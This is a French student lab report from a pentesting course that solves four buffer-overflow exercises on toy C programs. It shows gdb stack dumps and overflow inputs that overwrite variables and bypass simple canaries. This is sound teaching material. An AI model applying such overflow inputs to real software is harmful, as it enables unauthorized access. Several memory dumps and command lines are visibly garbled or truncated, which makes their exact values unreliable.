



Hepia

Haute École du Paysage, d'Ingénierie et d'Architecture

Ingénierie et Systèmes de Communication

Année académique 2020/2021

Hacking et pentesting Série 5 – Buffer Overflow

Genève, 2 Mai 2021

Étudiant : Professeur :

Sergio Guarino Stéphane Küng

1. BUF1

Pour résoudre le premier exercice on utilise une faille de sécurité dans la fonction **gets**. En effet, cette fonction n'a aucun contrôle de la taille de la chaîne de caractères qu'on lui passe en argument, ce qui nous permet d'écrire des données dans la pile, en remplaçant le contenu des adresses suivantes.

Si on exécute le programme en essayent différentes tailles de mot de passe, on peut voir que dès qu'on dépasse la taille définie dans le code **main1.c**, on écrase la valeur contenue dans la variable **pass**, ce qui nous permet d'afficher le message **Congratulation** même avec le mauvais mot de passe.

```
Terminal - sergi@ubuntu:~/Documents/Hacking/5.buf/exos
File Edit View Terminal Tabs Help
exos [master] / ./main1
Exercice 1
Enter the password:
123456
Correct Password
Congratulation
 exos [master] 🐐
Exercice 1
Enter the password:
hello
Wrong Password
🕳 exos [master] 👍
Exercice 1
Enter the password:
hello123
Wrong Password
. exos [master] 🐐
                    ./main1
Exercice 1
Enter the password:
hello1234
Wrong Password
Congratulation
  exos [master] 🕴
```

On peut également analyser le programme plus en profondeur pour voir ce qui se passe exactement dans la pile. Pour cela on ajoute dans le code source la ligne **raise(SIGINT)** (librairie **signal.h** nécessaire) qui permet de arrêter le programme à un moment spécifique de l'exécution. Au même temps, on remplace la valeur de la variable **pass**, pour pouvoir l'identifier plus facilement. Sa nouvelle valeur est 100 (ou 64 en hexadécimal).

En lançant le programme depuis **gdb**, on peut analyser la pile avec les commandes **info frame** pour connaître l'adresse à laquelle le programme s'est arrêté et **x/100x** suivi de l'adresse pour afficher les premiers 100 valeurs.

```
Terminal - gdb ./main1
File Edit View Terminal Tabs Help
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/sergi/Documents/Hacking/5.buf/exos/main1
Exercice 1
Enter the password:
Wrong Password
Program received signal SIGINT, Interrupt.
GI_raise (sig=<optimized out>) at ../sysdeps/unix/sysv/linux/raise.c:50
../sysdeps/unix/sysv/linux/raise.c:50
50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) i f
 rip = 0x7ffff7e0918b in _GI raise (../sysdeps/unix/sysv/linux/raise.c:50);
   saved rip = 0x55555555227
 Arglist at 0x7fffffffde48, args: sig=<optimized out>
Locals at 0x7fffffffde48, Previous frame's sp is 0x7fffffffdf70
  rip at 0x7fffffffdf68
                                                                            0200005555
                                     0x64636261
                                                                            <del>0x00007fff</del>
0x00007fff
                                      0x00007fff
                                                         0xffffe078
            dfb0: 0x55555240
                                      0x00005555
                                                         0x1d9c3876
                                                                            0x48a036d5
            dfd0: 0x00000000
                                      0x00000000
                                                         0×00000000
            e000: 0x00000000
                                      0×00000000
                                                         0x00000001
                                                                            0×00000000
                                      0x00007fff
                                                         0x00000000
                                                                            0x00000000
            e040: 0xffffe070
                                      0x00007fff
                                                         0×00000000
                                                                            0x00000000
                                                         0x555550ee
            e060: 0xffffe068
                                                        0xffffe382
0xffffe3b1
                                                                            0x00007fff
0x00007fff
                                      0x00000000
            e090: 0xffffe3da
                                      0x00007fff
                                                         0xffffe42c
                                                                            0x00007fff
            e0b0: 0xffffe467
                                      0x00007fff
                                                         0xffffe478
                                                                            0x00007fff
                                                         0xffffe4bd
                                                        0xffffe4fc
0xffffe523
                                      0x00007fff
                                                                            0x00007fff
                                      0x00007fff
                                                                            0x00007fff
(gdb)
```

On peut voir ici que la variable **pass** se situe tout de suite après le **buffer** (de taille 8). Et si on rentre un mot de passe de plus de 8 caractères, la valeur de **pass** sera remplacée :

```
Terminal - qdb ./main1
File Edit View Terminal Tabs Help
(adb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/sergi/Documents/Hacking/5.buf/exos/main1
Exercice 1
nter the password:
abcd12345
Wrong Password
Program received signal SIGINT, Interrupt.
    raise (sig=<optimized out>) at ../sysdeps/unix/sysv/linux/raise.c:50
        ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) i f
   saved rip = 0x555555555227
called by frame at 0x7ffffffffdf90
source language c.
Locals at 0x7ffffffffde48, Previous frame's sp is 0x7fffffffdf70
 rip at 0x7ffffffffdf68
                                 0x64636261
                                                 0x34333231
                                                                  0x00000035
                                 0X00000000
                                                  0x1/dea0b3
                                                                   0X0000/TT
             0: 0xf7ffc620
                                 0x00007fff
                                                 0xffffe078
                                                                  0x00007fff
                                                 0x555551a9
            0: 0x00000000
                                 0x00000001
                                                                  0x00005555
            b0: 0x55555240
                                 0x00005555
                                                                  0x1a937582
                                                 0xbdaefd8c
             0: 0x555550c0
                                 0x00005555
                                                 0xffffe070
                                                                  0x00007fff
            do: 0x00000000
                                 0x00000000
                                                 0×00000000
                                                                  0×00000000
             0: 0x028efd8c
                                 0xe56c8a7d
                                                 0xfd60fd8c
                                                                  0xe56c9a3f
            fo: 0x00000000
                                 0×00000000
                                                 0x00000000
                                                                  0x00000000
                                 0x00007fff
                                                  0xffffe088
                                                                  0x00007fff
                                                  0x00000000
                                                                   0×00000000
                                                                  0x00005555
             0: 0x00000000
                                 0x00000000
                                                 0x555550ee
                                                                  0x00005555
             0: 0xffffe068
                                 0x00007fff
                                                 0x0000001c
                                                                  0x00000000
                                                                  0x00007fff
             0: 0x00000001
                                 0x00000000
                                                                  0x00007fff
             0: 0x000000000
                                 0×00000000
             0: 0xffffe3da
                                                                  0x00007fff
                                 0x00007fff
             0: 0xffffe43b
                                 0x00007fff
                                                                  0x00007fff
             0: 0xffffe467
                                 0x00007fff
                                                 0xffffe478
0xffffe4bd
                                                                  0x00007fff
                                 0x00007fff
                                                                   0x00007fff
```

2. BUF2

Le deuxième exercice est très similaire au premier, sauf avec une taille de buffer un peu plus grande.

On approche l'exercice de la même manière qu'avant (donc en ajoutant raise(SIGINT) et si besoin en modifiant la valeur des variables pour les retrouver plus facilement). On peut voir où se situe **buffer** et où est **number**:

```
Terminal - gdb ./main2
                                                                                      - + ×
File Edit View Terminal Tabs Help
(gdb) run abcd
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/sergi/Documents/Hacking/5.buf/exos/main2 abcd
Exercice
Hello abcd
The square root of 64 = 8.00
Program received signal SIGINT, Interrupt.
        ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) i f
    saved rip = 0x555555555234
 called by frame at 0x7ffffffffdf60
 source language c.
 Arglist at 0x7fffffffddc8, args: sig=<optimized out>
 Locals at 0x7fffffffddc8, Previous frame's sp is 0x7fffffffdef0
 Saved registers:
(gdb) x/100x 0x7fffffffdee0
             0: 0xf7e606a0
                                0x00007fff
                                                                 0x00005555
          def0: 0xf7e60788
                                0x00007fff
                                                                 0x00007fff
    ffffffdf00: 0x64636261
                                0x00000000
                                                 0xf7d08013
                                                                 0x00007fff
                                0x00000000
                                                 0xf7e606a0
                                                                 0x00007fff
         fdf20: 0x55556040
                                0x00005555
                                                 0xf7cfb71a
                                                                 0x00007fff
    ffffffdf30: 0x555552d0
                                0x00005555
                                                                 AVAGGA7fff
                                                                 0x00000040
        ffdf40: 0x00000000
                                0x40200000
                                                 0xffffe060
                                0x00007fff
                                                 0x555552bb
   ffffffdf60: 0xffffe068
                                0x00007fff
                                                 0x00000000
                                                                 0x00000002
        ffdf70: 0x00000000
                                0x00000000
                                                 0xf7c9b0b3
                                                                 0x00007fff
    fffffdf80: 0xf7ffc620
                                0x00007fff
                                                 0xffffe068
                                                                 0x00007fff
    fffffdf90: 0x00000000
                                0x00000002
                                                                 0x00005555
                                0x00005555
       fffdfa0: 0x555552d0
                                                                 0x4d4b561e
   fffffffdfb0: 0x555550e0
                                0x00005555
                                                 0xffffe060
                                                                 0x00007fff
       fffdfc0: 0x00000000
                                0x00000000
                                                 0x00000000
                                                                 0x00000000
       fffdfd0: 0x4713a4c8
                                0xb2b4a9e1
                                                 0x98dda4c8
                                                                 0xb2b4b98d
   ffffffdfe0: 0x00000000
                                0x00000000
                                                 0x00000000
                                                                 0x00000000
       fffdff0: 0x00000000
                                0x00000000
                                                 0x00000002
                                                                 0x00000000
                                                 0xffffe080
        ffe000: 0xffffe068
                                0x00007fff
                                                                 0x00007fff
                                0x00007fff
                                                 0x00000000
                                                                 0x00000000
        ffe020: 0x00000000
                                0x00000000
                                                 0x555550e0
                                                                 0x00005555
                                0x00007fff
                                                 0x00000000
                                                                 0x00000000
    fffffe040: 0x00000000
                                0x00000000
                                                 0x5555510e
                                                                 0x00005555
     fffffe050: 0xffffe058
                                0x00007fff
                                                 0x0000001c
                                                                 0x00000000
                                0x00000000
          e060: 0x000000002
                                                                 0x00007fff
gdb)
```

Donc si on rentre dans le buffer des valeurs jusqu'à la position de **number**, on aura trouvé la solution.

```
Terminal - gdb ./main2
File Edit View Terminal Tabs Help
(gdb) run abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/sergi/Documents/Hacking/5.buf/exos/main2 abcdABCD0123abcdABCD0123
abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdd
Hello abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcd,
The square root of 100 = 10.00
Program received signal SIGINT, Interrupt.
 GI_raise (sig=<optimized out>) at ../sysdeps/unix/sysv/linux/raise.c:50
        ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) i f
Stack level 0, frame at 0x7fffffffdeb0:
   saved rip = 0x5555555555234
called by frame at 0x7ffffffffdf20
 source language c.
Arglist at 0x7ffffffffdd88, args: sig=<optimized out>
Locals at 0x7fffffffdd88, Previous frame's sp is 0x7fffffffdeb0
 rip at 0x7fffffffdea8
(gdb) x/100x 0x7fffffffdea0
             0: 0xf7e606a0
                                0x00007fff
                                                 0x55555234
                                                                 0x00005555
            b0: 0xf7e50788
      ffffdec0: 0x64636261
                                0x44434241
                                                 0x33323130
                                                                 0x64636261
        ffded0: 0x44434241
                                0x33323130
                                                 0x64636261
                                                                 0x44434241
                                0x64636261
                                                 0x44434241
      ffffdef0: 0x64636261
                                0x44434241
                                                                 0x64636261
                                                                 0x00000064
        ffdf00: 0x00000000
                                0x40240000
                                                 0x64636261
                               0x00007fff
                                                 0x555552bb
                                                                 0X00005555
      ffffdf20: 0xffffe028
                                0x00007fff
                                                 0x00000000
                                                                 0x00000002
       fffdf30: 0x00000000
                                0x00000000
                                                 0xf7c9b0b3
                                                                 0x00007fff
     fffffdf40: 0xf7ffc620
                                0x00007fff
                                                 0xffffe028
                                                                 0x00007fff
      ffffdf50: 0x00000000
                                0x00000002
                                                                 0x00005555
                                0x00005555
      fffdf60: 0x555552d0
                                                 0xc69ec921
                                                                 0xa6aeac56
     fffffdf70: 0x555550e0
                                0x00005555
                                                 0xffffe020
                                                                 0x00007fff
                                0x00000000
                                                 0x00000000
                                                                 0x00000000
      ffffdf90: 0x781ec921
                                                 0xa650c921
                                                                 0x595143c5
     fffffdfa0: 0x00000000
                                0×00000000
                                                 0 \times 000000000
                                                                 0x00000000
        ffdfb0: 0x00000000
                                0×00000000
                                                 0x00000002
                                                                 0x00000000
        ffdfc0: 0xffffe028
                                0x00007fff
                                                 0xffffe040
                                                                 0x00007fff
                                0x00007fff
                                                 0×00000000
                                                                 0x00000000
        ffdfe0: 0x00000000
                                0x00000000
                                                 0x555550e0
                                                                 0x00005555
                                0x00007fff
                                                 0x00000000
                                                                 0x00000000
                                                 0x5555510e
                                0x00000000
                                                                 0x00005555
         fe010: 0xffffe018
                                0 \times 000007fff
                                                 0x0000001c
                                                                 0x00000000
         fe020: 0x000000002
                                0x00000000
                                                 0xffffe334
                                                                 0x00007fff
```

On a également la possibilité de chercher la variable **squareRoot** et la modifier en laissant **number** à sa valeur d'origine (même si après on aura que la racine carrée de 64 vaut 10).

On peut également tester le mot de passe en dehors de gdb :

```
Terminal - sergi@ubuntu:~/Documents/Hacking/5.buf/exos — + ×

File Edit View Terminal Tabs Help

exos [master] { ./main2 abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdABCD0123abcdA
```

3. BUF3

Le 3^{ème} exercice est similaire aux précédents, mais cette fois un *canari* a été ajouté dans le code pour éviter une attaque de buffer overflow. Le canari permet de protéger les variables qui le suivent car il faut que sa valeur reste intacte pendant l'exécution du code. Si on analyse le programme, on remarque que la valeur du canari est de **INT_MAX-1**, soit **7FFF FFFE** en hexadécimal. Ce numéro a été choisi exprès car plus difficile à passer en paramètre au programme par rapport à des lettres ou symboles.

Pour simplifier la tâche, la valeur de admin dans le code source a été remplacée par 100 (64 en hexa).

Ci-dessous on peut voir où se trouvent les valeurs de **buf** (en rouge), du **canari** (en jaune) et de **admin** (en bleu).

```
Terminal - gdb ./main3
                                                                          - + ×
File Edit View Terminal Tabs Help
(gdb) run abcd
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/sergi/Documents/Hacking/5.buf/exos/main3 abcd
Exercice 3
Wrong Password
canary : 2147483646
maxval : 2147483646
admin : 100
Program received signal SIGINT, Interrupt.
    _raise (sig=<optimized out>) at ../sysdeps/unix/sysv/linux/raise.c:50
        ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) i f
Stack level 0, frame at 0x7fffffffdf00:
 rip = 0x7fffff7e0918b in __GI_raise
    (../sysdeps/unix/sysv/linux/raise.c:50); saved rip = 0x5555555555299
 source language c.
 Arglist at 0x7fffffffddd8, args: sig=<optimized out>
 Locals at 0x7fffffffddd8, Previous frame's sp is 0x7fffffffdf00
 Saved registers:
 rip at 0x7fffffffdef8
qdb) x/100x 0x7fffffffdef0
         fdef0: 0x00000000
                                0x00000000
                                                 0x55555299
                                                                  0x00005555
     fffffdf00: 0x00000000
                                0x00000000
                                                 0xffffe3ac
                                                                  0x00007fff
     fffffdf10: 0x64636261
                                                                  0x00007fff
                                                 0xf7faf6a0
                                0x00000000
     fffffdf20: 0x55556064
                                0x00005555
                                                 0xf7e4a71a
                                                                  0x00007fff
                                                 0xffffdf70
                                                                  0x00007fff
                                0x00005555
     fffffdf40: 0x555550e0
                                0x00005555
                                                 0x7ffffffe
                                                                  0x00000064
     fffffdf50: 0xffffdf70
                                0 \times 000007fff
                                                                  0x00005555
                                                 0x555552f6
    ffffffdf60: 0xffffe068
                                0x00007fff
                                                 0x00000000
                                                                  0x00000002
   fffffffdf70: 0x00000000
                                0x00000000
                                                 0xf7dea0b3
                                                                  0x00007fff
     fffffdf80: 0xf7ffc620
                                0x00007fff
                                                 0xffffe068
                                                                  0x00007fff
    ffffffdf90: 0x00000000
                                0x00000002
                                                 0x5555529c
                                                                  0x00005555
   fffffffdfa0: 0x55555300
                                0x00005555
                                                 0xf7bfc46b
                                                                  0x80163a69
   fffffffdfb0: 0x555550e0
                                0x00005555
                                                 0xffffe060
                                                                  0x00007fff
     fffffdfc0: 0x00000000
                                0x00000000
                                                 0x00000000
                                                                  0x00000000
     fffffdfd0: 0x48bfc46b
                                0x7fe9c596
                                                 0xb771c46b
                                                                  0x7fe9d5d4
   fffffffdfe0: 0x00000000
                                0x00000000
                                                 0x00000000
                                                                  0x00000000
     fffffdff0: 0x00000000
                                0x00000000
                                                 0x00000002
                                                                  0x00000000
     ffffe000: 0xffffe068
                                0x00007fff
                                                 0xffffe080
                                                                  0x00007fff
    fffffe010: 0xf7ffe190
                                0x00007fff
                                                 0x00000000
                                                                  0x00000000
    ffffffe020: 0x00000000
                                                 0x555550e0
                                                                  0x00005555
                                0x00000000
                                                                  0x00000000
     fffffe030: 0xffffe060
                                0x00007fff
                                                 0x00000000
     fffffe040: 0x00000000
                                0x00000000
                                                 0x5555510e
                                                                  0x00005555
    ffffffe050: 0xffffe058
                                0x00007fff
                                                 0x0000001c
                                                                  0x00000000
     fffffe060: 0x00000002
                                0x00000000
                                                 0xffffe37d
                                                                  0x00007fff
        ffe070: 0xffffe3ac
                                0x00007fff
                                                 0x00000000
                                                                  0x00000000
(gdb)
```

Pour passer en paramètre au programme des caractères hexadécimaux, on se sert de la commande bash **echo**, suivie de l'option **-e**, qui permet l'interprétation du caractère \ pour l'input hexadécimal.

Ci-dessous le résultat final :

4. BUF4

Dans cet exercice, le canari n'est plus en entier, mais un tableau de char. La procédure pour le bypasser reste la même : on identifie l'endroit auquel il se trouve et on recopie les caractères qui sont supposés être à cette adresse.

Comme pour les exercices d'avant, on remplace **admin** pas 100 et on ajoute **raise(SIGINT)** dans le code source pour pouvoir analyser la pile.

Comme avant, le **buf** est en rouge, le **canari** en jaune et **admin** en bleu.

```
Terminal - gdb ./main4
                                                                          - + ×
    Edit View Terminal Tabs Help
(gdb) r abcd
Starting program: /home/sergi/Documents/Hacking/5.buf/exos/main4 abcd
Exercice 4
Wrong Password
buf
     : abcd
admin : 100
Program received signal SIGINT, Interrupt.
  GI_raise (sig=<optimized out>) at ../sysdeps/unix/sysv/linux/raise.c:50
        ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) i f
    (../sysdeps/unix/sysv/linux/raise.c:50); saved rip = 0x55555555552e4
 source language c.
 Arglist at 0x7fffffffddc8, args: sig=<optimized out>
 Locals at 0x7fffffffddc8, Previous frame's sp is 0x7fffffffdef0
 rip at
 gdb) x/100x 0x7fffffffdee0
         fdee0: 0x00000000
                                 0x00000000
                                                                  0x00005555
                                                  0xffffe3a
     fffffdef0: 0xf7faf788
                                 0x00007fff
                                                 0x50e57013
                                                                  0x7465756f
      ffffdf00: <u>0x00000000</u>
                                 0x00000000
      ffffdf10: 0x64636261
                                 0x00000000
                                                 0xf/faf6a0
                                                                  0X0000/fff
                                 0x00005555
                                                 0xf7e4a71a
                                                                  0x00007fff
                                 0x00005555
                                                                  0×00007fff
       ffffdf30: 0x55555350
                                                                  0x00000064
      ffffdf40: 0x555550e0
                                 0x00005555
                                                 0xffffe060
                                 0x00007fff
                                                 0x55555341
                                                                  0X00005555
     fffffdf50: 0xffffdf70
       ffffdf60: 0xffffe068
                                 0x00007fff
                                                 0x00000000
                                                                  0x00000002
     fffffdf70: 0x00000000
                                 0x00000000
                                                 0xf7dea0b3
                                                                  0x00007fff
                                 0x00007fff
                                                 0xffffe068
                                                                  0x00007fff
      ffffdf80: 0xf7ffc620
       ffffdf90: 0x00000000
                                 0x00000002
                                                 0x555552e7
                                                                  0x00005555
      fffffdfa0: 0x55555350
                                 0x00005555
                                                 0x4a902733
                                                                  0x3024a015
      ffffdfb0: 0x555550e0
                                 0x00005555
                                                 0xffffe060
                                                                  0x00007fff
                                                                  0x00000000
      ffffdfc0: 0x00000000
                                 0x00000000
                                                 0x00000000
    ffffffdfd0: 0xf5902733
                                 0xcfdb5fea
                                                 0x0a5e2733
                                                                  0xcfdb4fa8
      ffffdfe0: 0x00000000
                                 0x00000000
                                                 0x00000000
                                                                  0x00000000
     fffffdff0: 0x00000000
                                 0x00000000
                                                 0x00000002
                                                                  0x00000000
    ffffffe000: 0xffffe068
                                 0x00007fff
                                                 0xffffe080
                                                                  0x00007fff
      ffffe010: 0xf7ffe190
                                 0x00007fff
                                                 0x00000000
                                                                  0x00000000
      ffffe020: 0x00000000
                                 0x00000000
                                                 0x555550e0
                                                                  0x00005555
     fffffe030: 0xffffe060
                                 0x00007fff
                                                 0x00000000
                                                                  0x00000000
                                 0x00000000
       ffffe040: 0x00000000
                                                                  0x00005555
      ffffe050: 0xffffe058
                                 0x00007fff
                                                 0x0000001c
                                                                  0x00000000
                                                 0xffffe37d
        ffe060: 0x00000002
                                 0x00000000
                                                                  0x00007fff
 gdb)
```

Bizarrement, cette fois le canari se trouve **avant** le buffer, ce qui veut dire qu'en cas de overflow, sa valeur ne sera pas écrasée :

```
Terminal - gdb ./main4
gdb) r abcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcd
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/sergi/Documents/Hacking/5.buf/exos/main4 abcdABCDabcd
ABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcd
Exercice 4
Wrong Password
     : abcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcd
buf
admin : 1145258561
Program received signal SIGINT, Interrupt.
50 ../sysdeps/unix/sysv/linux/raise.c
(gdb) i f
Stack level 0, frame at 0x7fffffffdeb0:
rip = 0x7ffff7e0918b in _GI_raise
  (../sysdeps/unix/sysv/linux/raise.c:50); saved rip = 0x5555555552e4
 called by frame at 0x7ffffffffdf20
 source language c.
 Arglist at 0x7fffffffdd88, args: sig=<optimized out>
 Locals at 0x7fffffffdd88, Previous frame's sp is 0x7fffffffdeb0
 Saved registers:
 rip at 0x7fffffffdea8
gdb) x/100x 0x7fffffffdea0
             0x00000000
                                0x00000000
                                                 0x555552e4
                                                                  0x00005555
                                                  0vffffe36
              9: 0xf7faf788
                                 0x00007fff
        ffdec0: 0x00000000
                                0x00000000
                                                 0x50e57013
                                                                  0x7465756f
      ffffded0: 0x64636261
                                0x44434241
                                                 0X64636261
                                                                  0X44434241
                0x64636261
                                 0x44434241
                                                 0x64636261
                                                                  0x44434241
                                                 0x64636261
                                                                  Av44434241
         fdef0: 0x64636261
        ffdf00: 0x64636261
ffdf10: 0x64636261
                                0x44434241
                                                 0x64636261
                                                                  0x44434241
                                                 0x55555341
                                0x00007f00
                                                                  0X000005555
      ffffdf20: 0xtttte028
                                0x00007111
                                                 0x00000000
                                                                  0x00000002
         ffdf30: 0x00000000
                                 0x00000000
                                                 0xf7dea0b3
                                                                  0x00007fff
        ffdf40: 0xf7ffc620
                                0x00007fff
                                                 0xffffe028
                                                                  0x00007fff
     fffffdf50: 0x00000000
                                                                  0x00005555
                                0x00000002
       fffdf60: 0x55555350
                                0x00005555
                                                 0x91ff667d
                                                                  0x92bb76e5
                                 0x00005555
                                                 0xffffe020
                                                                  0x00007fff
                                0x00000000
                                                 0x00000000
                                                                  0x00000000
       fffdf90: 0x2f7f667d
                                0x6d44891a
                                                                  0x6d449958
                                                 0xd131667d
      ffffdfa0: 0x00000000
                                0x00000000
                                                 0x00000000
                                                                  0x00000000
         fdfb0: 0x00000000
                                 0x00000000
                                                 0x00000002
                                                                  0x00000000
         fdfc0: 0xffffe028
                                0x00007fff
                                                 0xffffe040
                                                                  0x00007fff
                                0x00007fff
                                                 0x00000000
                                                                  0x00000000
                                                                  0x00005555
                                                 0x555550e0
         fdfe0: 0x00000000
                                0x00000000
                                 0x00007fff
                                                 0x00000000
                                                                  0x00000000
        ffe000: 0x00000000
                                 0x00000000
                                                 0x5555510e
                                                                  0x00005555
        ffe010: 0xffffe018
                                0x00007fff
                                                 0x0000001c
                                                                  0×00000000
                                 0x00000000
         ffe020: 0x00000002
                                                 0xffffe33d
                                                                  0x00007fff
```

Pour placer la valeur 1 dans la variable admin on procède comme avant, avec la commande echo :

```
Terminal - sergi@ubuntu:~/Documents/Hacking/5.buf/exos — + ×

File Edit View Terminal Tabs Help

exos [master] { arg=$(echo -e "abcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdABCDabcdAB
```

Dans l'exercice précédent on avait rentré tous les caractères en format hexadécimal, mais on peut voir que ce n'est pas obligatoire.